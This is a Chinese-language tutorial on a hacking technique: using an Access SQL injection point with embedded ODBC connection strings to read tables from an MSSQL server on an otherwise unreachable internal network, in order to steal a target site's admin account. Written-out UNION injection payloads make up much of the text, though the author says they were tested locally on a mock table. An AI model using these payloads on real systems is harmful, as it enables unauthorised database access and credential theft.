看黑客如何通過Access來獲取MSSQL數(shù)據(jù)
首先說明一點,這個方法很早就有了,不過用時大概在腦袋里沉寂太久,已經(jīng)處于忘卻狀態(tài)。感謝Trace提供資料。經(jīng)常會遇到任意文件下載漏洞,一般處理的方法是把數(shù)據(jù)庫連接文件下載回來,然后遠(yuǎn)程連接上。
首先說明一點,這個方法很早就有了,不過用時大概在腦袋里沉寂太久,已經(jīng)處于忘卻狀態(tài)。感謝Trace提供資料。
經(jīng)常會遇到任意文件下載漏洞,一般處理的方法是把數(shù)據(jù)庫連接文件下載回來,然后遠(yuǎn)程連接上去。最理想的狀態(tài)莫過于MSSQL和MYSQL,尤其是在數(shù)據(jù)庫和WEB不分離的情況下,備分SHELL,導(dǎo)出SHELL,可以用的方法很多。
不過要是數(shù)據(jù)庫和WEB分離,而且數(shù)據(jù)庫在內(nèi)網(wǎng)不可上網(wǎng),或者有防火墻等等 其他手段使得我們無法連上遠(yuǎn)程數(shù)據(jù)庫時,不妨假設(shè)的再艱難一些,甚至無法找到一個mssql注射點時,很多情況下通常會束手無策。
這里以 MSSQL為例子,很湊巧找到一個任意文件下載漏洞,直接下了WEB.CONFIG回來看,發(fā)現(xiàn)數(shù)據(jù)庫在內(nèi)網(wǎng),找了半天沒找到注射點,稍微旁注一下,有一個站,可惜是ACCESS數(shù)據(jù)庫。猜不到表和后臺。不過目標(biāo)站的后臺是知道的,然后準(zhǔn)備從這個access注射點讀出目標(biāo)站管理員帳戶。直觀一些,下面直 接給出我本地測試結(jié)果:
弄的簡單一點,就3個字段,ID,XM,XB,ID數(shù)字型,后面2個字符型。
假設(shè)存在漏洞的文件中,執(zhí)行SQL語句 select * from test whrere id = 1
這里有3個字段,我們用UNION聯(lián)合查詢給他匹配一下就是(黑盒操作時用order by 或者窮舉來確定字段個數(shù))
SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku
這里的master庫中我建立了一個名為KU的表,上面這個查詢語句中,由于id=999999不存在,在聯(lián)合查詢的作用下,web上原本顯示access數(shù)據(jù)庫內(nèi)容的位置顯示出了我們構(gòu)造的UNION查詢結(jié)果,name字段處于一個字符型的顯示位置。
ku這個表里的name字段內(nèi)容就會被顯示在web上相應(yīng)的位置,不過這個顯然不是我們想要的,我們要的是整個表的結(jié)構(gòu)和內(nèi)容
以master為例子,這里是模擬的結(jié)果,事先我已經(jīng)知道m(xù)aster的結(jié)構(gòu),待會方便和結(jié)果比對校驗是否有錯。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables
這樣master庫的***個表名就出來了。
獲得后面的表名也很簡單。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables)
以次類以常規(guī)方法推取得字段名和字段內(nèi)容,代碼煩瑣自行研究下。
如果數(shù)據(jù)庫里的ID是字符型,則
SELECT * FROM test where id='999999' union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tables where '1'='1'
【編輯推薦】